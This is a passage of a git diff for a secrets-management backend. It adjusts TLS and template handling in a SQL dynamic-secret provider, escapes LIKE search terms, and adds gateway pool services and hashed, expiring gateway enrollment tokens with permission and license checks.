@@ -147,7 +147,11 @@ export const SqlDatabaseProvider = ({
     providerInputs: z.infer<typeof DynamicSecretSqlDBSchema> & { hostIp: string; originalHost: string }
   ) => {
     const ssl = providerInputs.ca
-      ? { rejectUnauthorized: false, ca: providerInputs.ca, servername: providerInputs.host }
+      ? {
+          rejectUnauthorized: providerInputs.sslRejectUnauthorized,
+          ca: providerInputs.ca,
+          servername: providerInputs.originalHost
+        }
       : undefined;
 
     const isMsSQLClient = providerInputs.client === SqlProviders.MsSQL;
@@ -185,7 +189,7 @@ export const SqlDatabaseProvider = ({
         options: isMsSQLClient
           ? {
               ...(providerInputs.sslEnabled !== undefined ? { encrypt: providerInputs.sslEnabled } : {}),
-              trustServerCertificate: !providerInputs.ca,
+              trustServerCertificate: !providerInputs.sslRejectUnauthorized,
               cryptoCredentialsDetails: providerInputs.ca ? { ca: providerInputs.ca } : {}
             }
           : undefined
@@ -345,7 +349,10 @@ export const SqlDatabaseProvider = ({
         originalHost: providerInputs.host
       });
       try {
-        const revokeStatement = handlebars.compile(providerInputs.revocationStatement)({ username, database });
+        const revokeStatement = handlebars.compile(providerInputs.revocationStatement, { noEscape: true })({
+          username,
+          database
+        });
         const queries = revokeStatement.toString().split(";").filter(Boolean);
         await db.transaction(async (tx) => {
           for (const query of queries) {
@@ -387,7 +394,7 @@ export const SqlDatabaseProvider = ({
       const expiration = new Date(expireAt).toISOString();
       const { database } = providerInputs;
 
-      const renewStatement = handlebars.compile(providerInputs.renewStatement)({
+      const renewStatement = handlebars.compile(providerInputs.renewStatement, { noEscape: true })({
         username: entityId,
         expiration,
         database
diff --git a/backend/src/ee/services/email-domain/email-domain-dal.ts b/backend/src/ee/services/email-domain/email-domain-dal.ts
index c612f8a3937..f67fbba2740 100644
--- a/backend/src/ee/services/email-domain/email-domain-dal.ts
+++ b/backend/src/ee/services/email-domain/email-domain-dal.ts
@@ -1,5 +1,6 @@
 import { TDbClient } from "@app/db";
 import { TableName } from "@app/db/schemas";
+import { sanitizeSqlLikeString } from "@app/lib/fn";
 import { ormify, selectAllTableCols } from "@app/lib/knex";
 
 export type TEmailDomainDALFactory = ReturnType<typeof emailDomainDALFactory>;
@@ -27,8 +28,8 @@ export const emailDomainDALFactory = (db: TDbClient) => {
     if (searchTerm) {
       void query.where((qb) => {
         void qb
-          .where(`${TableName.EmailDomains}.domain`, "ilike", `%${searchTerm}%`)
-          .orWhere(`${TableName.Organization}.name`, "ilike", `%${searchTerm}%`);
+          .where(`${TableName.EmailDomains}.domain`, "ilike", `%${sanitizeSqlLikeString(searchTerm)}%`)
+          .orWhere(`${TableName.Organization}.name`, "ilike", `%${sanitizeSqlLikeString(searchTerm)}%`);
       });
     }
 
diff --git a/backend/src/ee/services/gateway-pool/gateway-pool-dal.ts b/backend/src/ee/services/gateway-pool/gateway-pool-dal.ts
new file mode 100644
index 00000000000..118b2942936
--- /dev/null
+++ b/backend/src/ee/services/gateway-pool/gateway-pool-dal.ts
@@ -0,0 +1,94 @@
+import { Knex } from "knex";
+
+import { TDbClient } from "@app/db";
+import { TableName } from "@app/db/schemas";
+import { DatabaseError } from "@app/lib/errors";
+import { ormify, selectAllTableCols } from "@app/lib/knex";
+
+import { GATEWAY_HEARTBEAT_TIMEOUT_MS } from "../gateway-v2/gateway-v2-constants";
+import { GatewayHealthCheckStatus } from "../gateway-v2/gateway-v2-types";
+
+export type TGatewayPoolDALFactory = ReturnType<typeof gatewayPoolDalFactory>;
+
+export const gatewayPoolDalFactory = (db: TDbClient) => {
+  const orm = ormify(db, TableName.GatewayPool);
+
+  const findByOrgIdWithDetails = async (orgId: string) => {
+    try {
+      const oneHourAgo = new Date(Date.now() - GATEWAY_HEARTBEAT_TIMEOUT_MS);
+
+      const pools = await db
+        .replicaNode()(TableName.GatewayPool)
+        .where(`${TableName.GatewayPool}.orgId`, orgId)
+        .leftJoin(
+          TableName.GatewayPoolMembership,
+          `${TableName.GatewayPool}.id`,
+          `${TableName.GatewayPoolMembership}.gatewayPoolId`
+        )
+        .leftJoin(TableName.GatewayV2, `${TableName.GatewayPoolMembership}.gatewayId`, `${TableName.GatewayV2}.id`)
+        .select(selectAllTableCols(TableName.GatewayPool))
+        .select(
+          db.raw(`COUNT(DISTINCT ${TableName.GatewayPoolMembership}."gatewayId") AS "memberCount"`),
+          db.raw(
+            `COUNT(DISTINCT CASE WHEN ${TableName.GatewayV2}."heartbeat" > ? AND (${TableName.GatewayV2}."lastHealthCheckStatus" IS NULL OR ${TableName.GatewayV2}."lastHealthCheckStatus" != ?) THEN ${TableName.GatewayPoolMembership}."gatewayId" END) AS "healthyMemberCount"`,
+            [oneHourAgo, GatewayHealthCheckStatus.Failed]
+          ),
+          db.raw(
+            `COALESCE(array_agg(DISTINCT ${TableName.GatewayPoolMembership}."gatewayId") FILTER (WHERE ${TableName.GatewayPoolMembership}."gatewayId" IS NOT NULL), '{}') AS "memberGatewayIds"`
+          )
+        )
+        .groupBy(`${TableName.GatewayPool}.id`)
+        .orderBy(`${TableName.GatewayPool}.name`, "asc");
+
+      return pools.map((p) => {
+        const raw = p as Record<string, unknown>;
+        return {
+          ...p,
+          memberCount: Number(raw.memberCount ?? 0),
+          healthyMemberCount: Number(raw.healthyMemberCount ?? 0),
+          memberGatewayIds: (raw.memberGatewayIds as string[]) ?? []
+        };
+      });
+    } catch (error) {
+      throw new DatabaseError({ error, name: `${TableName.GatewayPool}: FindByOrgId` });
+    }
+  };
+
+  const findByIdWithMembers = async (poolId: string, orgId: string) => {
+    try {
+      const pool = await db
+        .replicaNode()(TableName.GatewayPool)
+        .where(`${TableName.GatewayPool}.id`, poolId)
+        .where(`${TableName.GatewayPool}.orgId`, orgId)
+        .first();
+
+      if (!pool) return null;
+
+      const members = await db
+        .replicaNode()(TableName.GatewayPoolMembership)
+        .where(`${TableName.GatewayPoolMembership}.gatewayPoolId`, poolId)
+        .join(TableName.GatewayV2, `${TableName.GatewayPoolMembership}.gatewayId`, `${TableName.GatewayV2}.id`)
+        .select(
+          `${TableName.GatewayV2}.id`,
+          `${TableName.GatewayV2}.name`,
+          `${TableName.GatewayV2}.heartbeat`,
+          `${TableName.GatewayV2}.lastHealthCheckStatus`
+        );
+
+      return { ...pool, gateways: members };
+    } catch (error) {
+      throw new DatabaseError({ error, name: `${TableName.GatewayPool}: FindByIdWithMembers` });
+    }
+  };
+
+  const countByOrgId = async (orgId: string, tx?: Knex) => {
+    try {
+      const result = await (tx || db.replicaNode())(TableName.GatewayPool).where({ orgId }).count("id").first();
+      return parseInt(String(result?.count || "0"), 10);
+    } catch (error) {
+      throw new DatabaseError({ error, name: `${TableName.GatewayPool}: CountByOrgId` });
+    }
+  };
+
+  return { ...orm, findByOrgIdWithDetails, findByIdWithMembers, countByOrgId };
+};
diff --git a/backend/src/ee/services/gateway-pool/gateway-pool-membership-dal.ts b/backend/src/ee/services/gateway-pool/gateway-pool-membership-dal.ts
new file mode 100644
index 00000000000..d3a4b7b8f8e
--- /dev/null
+++ b/backend/src/ee/services/gateway-pool/gateway-pool-membership-dal.ts
@@ -0,0 +1,37 @@
+import { TDbClient } from "@app/db";
+import { TableName, TGatewaysV2 } from "@app/db/schemas";
+import { DatabaseError } from "@app/lib/errors";
+import { ormify } from "@app/lib/knex";
+
+import { GATEWAY_HEARTBEAT_TIMEOUT_MS } from "../gateway-v2/gateway-v2-constants";
+import { GatewayHealthCheckStatus } from "../gateway-v2/gateway-v2-types";
+
+export type TGatewayPoolMembershipDALFactory = ReturnType<typeof gatewayPoolMembershipDalFactory>;
+
+export const gatewayPoolMembershipDalFactory = (db: TDbClient) => {
+  const orm = ormify(db, TableName.GatewayPoolMembership);
+
+  const findHealthyGatewaysByPoolId = async (poolId: string): Promise<TGatewaysV2[]> => {
+    try {
+      const oneHourAgo = new Date(Date.now() - GATEWAY_HEARTBEAT_TIMEOUT_MS);
+
+      const gateways = await db
+        .replicaNode()(TableName.GatewayPoolMembership)
+        .where(`${TableName.GatewayPoolMembership}.gatewayPoolId`, poolId)
+        .join(TableName.GatewayV2, `${TableName.GatewayPoolMembership}.gatewayId`, `${TableName.GatewayV2}.id`)
+        .where(`${TableName.GatewayV2}.heartbeat`, ">", oneHourAgo)
+        .where((builder) => {
+          void builder
+            .whereNull(`${TableName.GatewayV2}.lastHealthCheckStatus`)
+            .orWhereNot(`${TableName.GatewayV2}.lastHealthCheckStatus`, GatewayHealthCheckStatus.Failed);
+        })
+        .select(`${TableName.GatewayV2}.*`);
+
+      return gateways as TGatewaysV2[];
+    } catch (error) {
+      throw new DatabaseError({ error, name: `${TableName.GatewayPoolMembership}: FindHealthyGateways` });
+    }
+  };
+
+  return { ...orm, findHealthyGatewaysByPoolId };
+};
diff --git a/backend/src/ee/services/gateway-pool/gateway-pool-service.ts b/backend/src/ee/services/gateway-pool/gateway-pool-service.ts
new file mode 100644
index 00000000000..60b057e1da4
--- /dev/null
+++ b/backend/src/ee/services/gateway-pool/gateway-pool-service.ts
@@ -0,0 +1,303 @@
+import { ForbiddenError } from "@casl/ability";
+
+import { OrganizationActionScope } from "@app/db/schemas";
+import { DatabaseErrorCode } from "@app/lib/error-codes";
+import { BadRequestError, DatabaseError, NotFoundError } from "@app/lib/errors";
+import { logger } from "@app/lib/logger";
+import { OrgServiceActor } from "@app/lib/types";
+import { TIdentityKubernetesAuthDALFactory } from "@app/services/identity-kubernetes-auth/identity-kubernetes-auth-dal";
+
+import { TGatewayV2DALFactory } from "../gateway-v2/gateway-v2-dal";
+import { TGatewayV2ServiceFactory } from "../gateway-v2/gateway-v2-service";
+import { TGatewayV2ConnectionDetails } from "../gateway-v2/gateway-v2-types";
+import { TLicenseServiceFactory } from "../license/license-service";
+import { OrgPermissionGatewayPoolActions, OrgPermissionSubjects } from "../permission/org-permission";
+import { TPermissionServiceFactory } from "../permission/permission-service-types";
+import { TGatewayPoolDALFactory } from "./gateway-pool-dal";
+import { TGatewayPoolMembershipDALFactory } from "./gateway-pool-membership-dal";
+import {
+  TAddGatewayToPoolDTO,
+  TCreateGatewayPoolDTO,
+  TDeleteGatewayPoolDTO,
+  TGetGatewayPoolByIdDTO,
+  TGetPlatformConnectionDetailsByPoolIdDTO,
+  TListGatewayPoolsDTO,
+  TRemoveGatewayFromPoolDTO,
+  TUpdateGatewayPoolDTO
+} from "./gateway-pool-types";
+
+type TGatewayPoolServiceFactoryDep = {
+  gatewayPoolDAL: TGatewayPoolDALFactory;
+  gatewayPoolMembershipDAL: TGatewayPoolMembershipDALFactory;
+  gatewayV2DAL: Pick<TGatewayV2DALFactory, "findById">;
+  gatewayV2Service: Pick<TGatewayV2ServiceFactory, "getPlatformConnectionDetailsByGatewayId">;
+  permissionService: TPermissionServiceFactory;
+  licenseService: Pick<TLicenseServiceFactory, "getPlan">;
+  identityKubernetesAuthDAL: Pick<TIdentityKubernetesAuthDALFactory, "findByGatewayPoolId" | "countByGatewayPoolId">;
+};
+
+export type TGatewayPoolServiceFactory = ReturnType<typeof gatewayPoolServiceFactory>;
+
+export const gatewayPoolServiceFactory = ({
+  gatewayPoolDAL,
+  gatewayPoolMembershipDAL,
+  gatewayV2DAL,
+  gatewayV2Service,
+  permissionService,
+  licenseService,
+  identityKubernetesAuthDAL
+}: TGatewayPoolServiceFactoryDep) => {
+  const $checkPermission = async (actor: OrgServiceActor, action: OrgPermissionGatewayPoolActions) => {
+    const { permission } = await permissionService.getOrgPermission({
+      actor: actor.type,
+      actorId: actor.id,
+      orgId: actor.orgId,
+      actorAuthMethod: actor.authMethod,
+      actorOrgId: actor.orgId,
+      scope: OrganizationActionScope.Any
+    });
+    ForbiddenError.from(permission).throwUnlessCan(action, OrgPermissionSubjects.GatewayPool);
+  };
+
+  const $checkLicense = async (orgId: string) => {
+    const plan = await licenseService.getPlan(orgId);
+    if (!plan.gatewayPool) {
+      throw new BadRequestError({
+        message: "Your current plan does not support gateway pools. Please upgrade to an Enterprise plan."
+      });
+    }
+  };
+
+  const createGatewayPool = async ({ name, ...actor }: TCreateGatewayPoolDTO) => {
+    await $checkPermission(actor, OrgPermissionGatewayPoolActions.CreateGatewayPools);
+    await $checkLicense(actor.orgId);
+
+    try {
+      const pool = await gatewayPoolDAL.create({
+        orgId: actor.orgId,
+        name
+      });
+      return pool;
+    } catch (error) {
+      if (
+        error instanceof DatabaseError &&
+        (error as DatabaseError & { code?: string }).code === DatabaseErrorCode.UniqueViolation
+      ) {
+        throw new BadRequestError({
+          message: `A gateway pool named "${name}" already exists in this organization.`
+        });
+      }
+      throw error;
+    }
+  };
+
+  const listGatewayPools = async (actor: TListGatewayPoolsDTO) => {
+    await $checkPermission(actor, OrgPermissionGatewayPoolActions.ListGatewayPools);
+    await $checkLicense(actor.orgId);
+
+    const pools = await gatewayPoolDAL.findByOrgIdWithDetails(actor.orgId);
+
+    if (pools.length === 0) return [];
+
+    // Add more DAL counts here as pool support expands to other consumers
+    const [k8sAuthCounts] = await Promise.all([
+      Promise.all(
+        pools.map((pool) =>
+          identityKubernetesAuthDAL.countByGatewayPoolId(pool.id).then((count) => ({ id: pool.id, count }))
+        )
+      )
+    ]);
+
+    const countMap = new Map<string, number>();
+    for (const { id, count } of k8sAuthCounts) {
+      countMap.set(id, (countMap.get(id) ?? 0) + count);
+    }
+
+    return pools.map((pool) => ({
+      ...pool,
+      connectedResourcesCount: countMap.get(pool.id) ?? 0
+    }));
+  };
+
+  const getGatewayPoolById = async ({ poolId, ...actor }: TGetGatewayPoolByIdDTO) => {
+    await $checkPermission(actor, OrgPermissionGatewayPoolActions.ListGatewayPools);
+    await $checkLicense(actor.orgId);
+
+    const pool = await gatewayPoolDAL.findByIdWithMembers(poolId, actor.orgId);
+    if (!pool) {
+      throw new NotFoundError({ message: `Gateway pool with ID ${poolId} not found` });
+    }
+
+    return pool;
+  };
+
+  const updateGatewayPool = async ({ poolId, name, ...actor }: TUpdateGatewayPoolDTO) => {
+    await $checkPermission(actor, OrgPermissionGatewayPoolActions.EditGatewayPools);
+    await $checkLicense(actor.orgId);
+
+    const existingPool = await gatewayPoolDAL.findById(poolId);
+    if (!existingPool || existingPool.orgId !== actor.orgId) {
+      throw new NotFoundError({ message: `Gateway pool with ID ${poolId} not found` });
+    }
+
+    try {
+      const updated = await gatewayPoolDAL.updateById(poolId, {
+        ...(name !== undefined && { name })
+      });
+      return updated;
+    } catch (error) {
+      if (
+        error instanceof DatabaseError &&
+        (error as DatabaseError & { code?: string }).code === DatabaseErrorCode.UniqueViolation
+      ) {
+        throw new BadRequestError({ message: `A gateway pool named "${name}" already exists in this organization.` });
+      }
+      throw error;
+    }
+  };
+
+  const deleteGatewayPool = async ({ poolId, ...actor }: TDeleteGatewayPoolDTO) => {
+    await $checkPermission(actor, OrgPermissionGatewayPoolActions.DeleteGatewayPools);
+    await $checkLicense(actor.orgId);
+
+    const existingPool = await gatewayPoolDAL.findById(poolId);
+    if (!existingPool || existingPool.orgId !== actor.orgId) {
+      throw new NotFoundError({ message: `Gateway pool with ID ${poolId} not found` });
+    }
+
+    try {
+      await gatewayPoolDAL.deleteById(poolId);
+    } catch (error) {
+      if (
+        error instanceof DatabaseError &&
+        (error.error as { code?: string })?.code === DatabaseErrorCode.ForeignKeyViolation
+      ) {
+        throw new BadRequestError({
+          message: `Cannot delete pool "${existingPool.name}" because it is referenced by one or more consumer configurations. Remove the pool reference from those configs first.`
+        });
+      }
+      throw error;
+    }
+
+    return existingPool;
+  };
+
+  const addGatewayToPool = async ({ poolId, gatewayId, ...actor }: TAddGatewayToPoolDTO) => {
+    await $checkPermission(actor, OrgPermissionGatewayPoolActions.EditGatewayPools);
+    await $checkLicense(actor.orgId);
+
+    const pool = await gatewayPoolDAL.findById(poolId);
+    if (!pool || pool.orgId !== actor.orgId) {
+      throw new NotFoundError({ message: `Gateway pool with ID ${poolId} not found` });
+    }
+
+    const gateway = await gatewayV2DAL.findById(gatewayId);
+    if (!gateway || gateway.orgId !== actor.orgId) {
+      throw new NotFoundError({ message: `Gateway with ID ${gatewayId} not found` });
+    }
+
+    try {
+      const membership = await gatewayPoolMembershipDAL.create({ gatewayPoolId: poolId, gatewayId });
+      return { membership, poolName: pool.name, gatewayName: gateway.name };
+    } catch (error) {
+      if (
+        error instanceof DatabaseError &&
+        (error as DatabaseError & { code?: string }).code === DatabaseErrorCode.UniqueViolation
+      ) {
+        throw new BadRequestError({ message: "This gateway is already a member of the pool." });
+      }
+      throw error;
+    }
+  };
+
+  const removeGatewayFromPool = async ({ poolId, gatewayId, ...actor }: TRemoveGatewayFromPoolDTO) => {
+    await $checkPermission(actor, OrgPermissionGatewayPoolActions.EditGatewayPools);
+    await $checkLicense(actor.orgId);
+
+    const pool = await gatewayPoolDAL.findById(poolId);
+    if (!pool || pool.orgId !== actor.orgId) {
+      throw new NotFoundError({ message: `Gateway pool with ID ${poolId} not found` });
+    }
+
+    const gateway = await gatewayV2DAL.findById(gatewayId);
+    if (!gateway || gateway.orgId !== actor.orgId) {
+      throw new NotFoundError({ message: `Gateway with ID ${gatewayId} not found` });
+    }
+
+    const [deleted] = await gatewayPoolMembershipDAL.delete({ gatewayPoolId: poolId, gatewayId });
+    if (!deleted) {
+      throw new NotFoundError({ message: "Gateway is not a member of this pool." });
+    }
+
+    return { membership: deleted, poolName: pool.name, gatewayName: gateway.name };
+  };
+
+  const pickRandomHealthyGateway = async (poolId: string) => {
+    const healthyGateways = await gatewayPoolMembershipDAL.findHealthyGatewaysByPoolId(poolId);
+    if (healthyGateways.length === 0) {
+      throw new BadRequestError({
+        message: "Gateway pool has no healthy gateways."
+      });
+    }
+    const selected = healthyGateways[Math.floor(Math.random() * healthyGateways.length)];
+    logger.info(
+      { poolId, selectedGatewayId: selected.id },
+      `Pool gateway selection: picked gateway [gatewayId=${selected.id}] from pool [poolId=${poolId}]`
+    );
+    return selected;
+  };
+
+  const getPlatformConnectionDetailsByPoolId = async ({
+    poolId,
+    targetHost,
+    targetPort
+  }: TGetPlatformConnectionDetailsByPoolIdDTO): Promise<TGatewayV2ConnectionDetails | undefined> => {
+    const pool = await gatewayPoolDAL.findById(poolId);
+    if (!pool) {
+      throw new NotFoundError({ message: `Gateway pool with ID ${poolId} not found` });
+    }
+
+    const selectedGateway = await pickRandomHealthyGateway(poolId);
+
+    return gatewayV2Service.getPlatformConnectionDetailsByGatewayId({
+      gatewayId: selectedGateway.id,
+      targetHost,
+      targetPort
+    });
+  };
+
+  const getConnectedResources = async ({ poolId, ...actor }: TGetGatewayPoolByIdDTO) => {
+    await $checkPermission(actor, OrgPermissionGatewayPoolActions.ListGatewayPools);
+    await $checkLicense(actor.orgId);
+
+    const pool = await gatewayPoolDAL.findById(poolId);
+    if (!pool || pool.orgId !== actor.orgId) {
+      throw new NotFoundError({ message: `Gateway pool with ID ${poolId} not found` });
+    }
+
+    // Add more DAL calls here as pool support expands to other consumers
+    const kubernetesAuths = await identityKubernetesAuthDAL.findByGatewayPoolId(poolId);
+
+    return { kubernetesAuths };
+  };
+
+  const getConnectedResourcesCount = async (poolId: string): Promise<number> => {
+    // Add more DAL counts here as pool support expands to other consumers
+    const k8sAuthCount = await identityKubernetesAuthDAL.countByGatewayPoolId(poolId);
+    return k8sAuthCount;
+  };
+
+  return {
+    createGatewayPool,
+    listGatewayPools,
+    getGatewayPoolById,
+    updateGatewayPool,
+    deleteGatewayPool,
+    addGatewayToPool,
+    removeGatewayFromPool,
+    pickRandomHealthyGateway,
+    getPlatformConnectionDetailsByPoolId,
+    getConnectedResources,
+    getConnectedResourcesCount
+  };
+};
diff --git a/backend/src/ee/services/gateway-pool/gateway-pool-types.ts b/backend/src/ee/services/gateway-pool/gateway-pool-types.ts
new file mode 100644
index 00000000000..d6fcf7dc7a5
--- /dev/null
+++ b/backend/src/ee/services/gateway-pool/gateway-pool-types.ts
@@ -0,0 +1,36 @@
+import { OrgServiceActor } from "@app/lib/types";
+
+export type TCreateGatewayPoolDTO = {
+  name: string;
+} & OrgServiceActor;
+
+export type TListGatewayPoolsDTO = OrgServiceActor;
+
+export type TGetGatewayPoolByIdDTO = {
+  poolId: string;
+} & OrgServiceActor;
+
+export type TUpdateGatewayPoolDTO = {
+  poolId: string;
+  name?: string;
+} & OrgServiceActor;
+
+export type TDeleteGatewayPoolDTO = {
+  poolId: string;
+} & OrgServiceActor;
+
+export type TAddGatewayToPoolDTO = {
+  poolId: string;
+  gatewayId: string;
+} & OrgServiceActor;
+
+export type TRemoveGatewayFromPoolDTO = {
+  poolId: string;
+  gatewayId: string;
+} & OrgServiceActor;
+
+export type TGetPlatformConnectionDetailsByPoolIdDTO = {
+  poolId: string;
+  targetHost: string;
+  targetPort: number;
+};
diff --git a/backend/src/ee/services/gateway-v2/gateway-enrollment-token-dal.ts b/backend/src/ee/services/gateway-v2/gateway-enrollment-token-dal.ts
new file mode 100644
index 00000000000..18bbecc4515
--- /dev/null
+++ b/backend/src/ee/services/gateway-v2/gateway-enrollment-token-dal.ts
@@ -0,0 +1,9 @@
+import { TDbClient } from "@app/db";
+import { TableName } from "@app/db/schemas";
+import { ormify } from "@app/lib/knex";
+
+export type TGatewayEnrollmentTokenDALFactory = ReturnType<typeof gatewayEnrollmentTokenDALFactory>;
+
+export const gatewayEnrollmentTokenDALFactory = (db: TDbClient) => {
+  return ormify(db, TableName.GatewayEnrollmentTokens);
+};
diff --git a/backend/src/ee/services/gateway-v2/gateway-v2-constants.ts b/backend/src/ee/services/gateway-v2/gateway-v2-constants.ts
index 7e41de91c61..971c58bea30 100644
--- a/backend/src/ee/services/gateway-v2/gateway-v2-constants.ts
+++ b/backend/src/ee/services/gateway-v2/gateway-v2-constants.ts
@@ -1,3 +1,5 @@
+export const GATEWAY_HEARTBEAT_TIMEOUT_MS = 60 * 60 * 1000; // 1 hour
+
 export const GATEWAY_ROUTING_INFO_OID = "1.3.6.1.4.1.12345.100.1";
 export const GATEWAY_ACTOR_OID = "1.3.6.1.4.1.12345.100.2";
 export const PAM_INFO_OID = "1.3.6.1.4.1.12345.100.3";
diff --git a/backend/src/ee/services/gateway-v2/gateway-v2-dal.ts b/backend/src/ee/services/gateway-v2/gateway-v2-dal.ts
index a5534e0e3f2..9c03e50e1fa 100644
--- a/backend/src/ee/services/gateway-v2/gateway-v2-dal.ts
+++ b/backend/src/ee/services/gateway-v2/gateway-v2-dal.ts
@@ -22,7 +22,7 @@ export const gatewayV2DalFactory = (db: TDbClient) => {
       const query = (tx || db.replicaNode())(TableName.GatewayV2)
         // eslint-disable-next-line @typescript-eslint/no-misused-promises
         .where(buildFindFilter(regularFilter, TableName.GatewayV2))
-        .join(TableName.Identity, `${TableName.Identity}.id`, `${TableName.GatewayV2}.identityId`)
+        .leftJoin(TableName.Identity, `${TableName.Identity}.id`, `${TableName.GatewayV2}.identityId`)
         .select(selectAllTableCols(TableName.GatewayV2))
         .select(db.ref("name").withSchema(TableName.Identity).as("identityName"));
 
@@ -54,7 +54,7 @@ export const gatewayV2DalFactory = (db: TDbClient) => {
 
       return docs.map((el) => ({
         ...GatewaysV2Schema.parse(el),
-        identity: { id: el.identityId, name: el.identityName }
+        identity: el.identityId ? { id: el.identityId, name: el.identityName } : null
       }));
     } catch (error) {
       throw new DatabaseError({ error, name: `${TableName.GatewayV2}: Find` });
@@ -76,5 +76,14 @@ export const gatewayV2DalFactory = (db: TDbClient) => {
     }
   };
 
-  return { ...orm, find, findById };
+  const countByOrgId = async (orgId: string, tx?: Knex) => {
+    try {
+      const result = await (tx || db.replicaNode())(TableName.GatewayV2).where({ orgId }).count("id").first();
+      return parseInt(String(result?.count || "0"), 10);
+    } catch (error) {
+      throw new DatabaseError({ error, name: `${TableName.GatewayV2}: Count by org id` });
+    }
+  };
+
+  return { ...orm, find, findById, countByOrgId };
 };
diff --git a/backend/src/ee/services/gateway-v2/gateway-v2-service.ts b/backend/src/ee/services/gateway-v2/gateway-v2-service.ts
index c1f8d81c743..ed2d525d14e 100644
--- a/backend/src/ee/services/gateway-v2/gateway-v2-service.ts
+++ b/backend/src/ee/services/gateway-v2/gateway-v2-service.ts
@@ -3,8 +3,9 @@ import net from "node:net";
 import { ForbiddenError } from "@casl/ability";
 import * as x509 from "@peculiar/x509";
 
-import { OrganizationActionScope, OrgMembershipRole, OrgMembershipStatus, TRelays } from "@app/db/schemas";
+import { OrganizationActionScope, OrgMembershipRole, OrgMembershipStatus, TableName, TRelays } from "@app/db/schemas";
 import { PgSqlLock } from "@app/keystore/keystore";
+import { getConfig } from "@app/lib/config/env";
 import { crypto } from "@app/lib/crypto";
 import { DatabaseErrorCode } from "@app/lib/error-codes";
 import { BadRequestError, DatabaseError, NotFoundError } from "@app/lib/errors";
@@ -14,7 +15,7 @@ import { withGatewayV2Proxy } from "@app/lib/gateway-v2/gateway-v2";
 import { logger } from "@app/lib/logger";
 import { OrgServiceActor } from "@app/lib/types";
 import { TAppConnectionDALFactory } from "@app/services/app-connection/app-connection-dal";
-import { ActorAuthMethod, ActorType } from "@app/services/auth/auth-type";
+import { ActorAuthMethod, ActorType, AuthTokenType } from "@app/services/auth/auth-type";
 import { constructPemChainFromCerts } from "@app/services/certificate/certificate-fns";
 import { CertExtendedKeyUsage, CertKeyAlgorithm, CertKeyUsage } from "@app/services/certificate/certificate-types";
 import {
@@ -39,16 +40,21 @@ import { TPermissionServiceFactory } from "../permission/permission-service-type
 import { TPkiDiscoveryConfigDALFactory } from "../pki-discovery/pki-discovery-config-dal";
 import { TRelayDALFactory } from "../relay/relay-dal";
 import { TRelayServiceFactory } from "../relay/relay-service";
+import { TGatewayEnrollmentTokenDALFactory } from "./gateway-enrollment-token-dal";
 import { GATEWAY_ACTOR_OID, GATEWAY_ROUTING_INFO_OID, PAM_INFO_OID } from "./gateway-v2-constants";
 import { TGatewayV2DALFactory } from "./gateway-v2-dal";
 import { GatewayHealthCheckStatus, TGatewayV2ConnectionDetails } from "./gateway-v2-types";
 import { TOrgGatewayConfigV2DALFactory } from "./org-gateway-config-v2-dal";
 
+// Temporary limit until gateway limiting is implemented at the relay level
+const MAX_GATEWAYS_PER_ORG = 50;
+
 type TGatewayV2ServiceFactoryDep = {
   orgGatewayConfigV2DAL: Pick<TOrgGatewayConfigV2DALFactory, "findOne" | "create" | "transaction" | "findById">;
   kmsService: TKmsServiceFactory;
   relayService: TRelayServiceFactory;
   gatewayV2DAL: TGatewayV2DALFactory;
+  gatewayEnrollmentTokenDAL: TGatewayEnrollmentTokenDALFactory;
   relayDAL: TRelayDALFactory;
   permissionService: TPermissionServiceFactory;
   orgDAL: Pick<TOrgDALFactory, "findOrgMembersByRole">;
@@ -70,6 +76,7 @@ export const gatewayV2ServiceFactory = ({
   kmsService,
   relayService,
   gatewayV2DAL,
+  gatewayEnrollmentTokenDAL,
   relayDAL,
   permissionService,
   orgDAL,
@@ -82,6 +89,15 @@ export const gatewayV2ServiceFactory = ({
   aiMcpServerDAL,
   pkiDiscoveryConfigDAL
 }: TGatewayV2ServiceFactoryDep) => {
+  const ENROLLMENT_TOKEN_TTL_SECONDS = 3600;
+
+  const $generateEnrollmentToken = () => {
+    const plainToken = `gwe_${crypto.randomBytes(32).toString("base64url")}`;
+    const tokenHash = crypto.nativeCrypto.createHash("sha256").update(plainToken).digest("hex");
+    const expiresAt = new Date(Date.now() + ENROLLMENT_TOKEN_TTL_SECONDS * 1000);
+    return { plainToken, tokenHash, expiresAt };
+  };
+
   const $validateIdentityAccessToGateway = async (orgId: string, actorId: string, actorAuthMethod: ActorAuthMethod) => {
     const { permission } = await permissionService.getOrgPermission({
       scope: OrganizationActionScope.Any,
@@ -337,9 +353,27 @@ export const gatewayV2ServiceFactory = ({
       countMap.set(id, (countMap.get(id) ?? 0) + count);
     }
 
+    // Check enrollment token status for each gateway
+    const allTokens = await gatewayEnrollmentTokenDAL.find({ orgId: orgPermission.orgId });
+    const now = new Date();
+    const tokenStatusMap = new Map<string, "pending" | "expired">();
+    for (const token of allTokens) {
+      if (!token.usedAt && token.gatewayId) {
+        const isExpired = token.expiresAt <= now;
+        const current = tokenStatusMap.get(token.gatewayId);
+        // A non-expired token takes priority over an expired one
+        if (!isExpired) {
+          tokenStatusMap.set(token.gatewayId, "pending");
+        } else if (!current) {
+          tokenStatusMap.set(token.gatewayId, "expired");
+        }
+      }
+    }
+
     return gateways.map((gateway) => ({
       ...gateway,
-      connectedResourcesCount: countMap.get(gateway.id) ?? 0
+      connectedResourcesCount: countMap.get(gateway.id) ?? 0,
+      enrollmentTokenStatus: tokenStatusMap.get(gateway.id) ?? null
     }));
   };
 
@@ -648,31 +682,152 @@ export const gatewayV2ServiceFactory = ({
     };
   };
 
+  const $issueGatewayCerts = async ({
+    orgId,
+    orgCAs,
+    relayName,
+    gateway
+  }: {
+    orgId: string;
+    orgCAs: Awaited<ReturnType<typeof $getOrgCAs>>;
+    relayName: string;
+    gateway: { id: string; name: string };
+  }) => {
+    const alg = keyAlgorithmToAlgCfg(CertKeyAlgorithm.RSA_2048);
+    const gatewayServerCaCert = new x509.X509Certificate(orgCAs.gatewayServerCaCertificate);
+    const rootGatewayCaCert = new x509.X509Certificate(orgCAs.rootGatewayCaCertificate);
+    const gatewayClientCaCert = new x509.X509Certificate(orgCAs.gatewayClientCaCertificate);
+
+    const gatewayServerCaSkObj = crypto.nativeCrypto.createPrivateKey({
+      key: orgCAs.gatewayServerCaPrivateKey,
+      format: "der",
+      type: "pkcs8"
+    });
+    const gatewayServerCaPrivateKey = await crypto.nativeCrypto.subtle.importKey(
+      "pkcs8",
+      gatewayServerCaSkObj.export({ format: "der", type: "pkcs8" }),
+      alg,
+      true,
+      ["sign"]
+    );
+
+    const gatewayServerKeys = await crypto.nativeCrypto.subtle.generateKey(alg, true, ["sign", "verify"]);
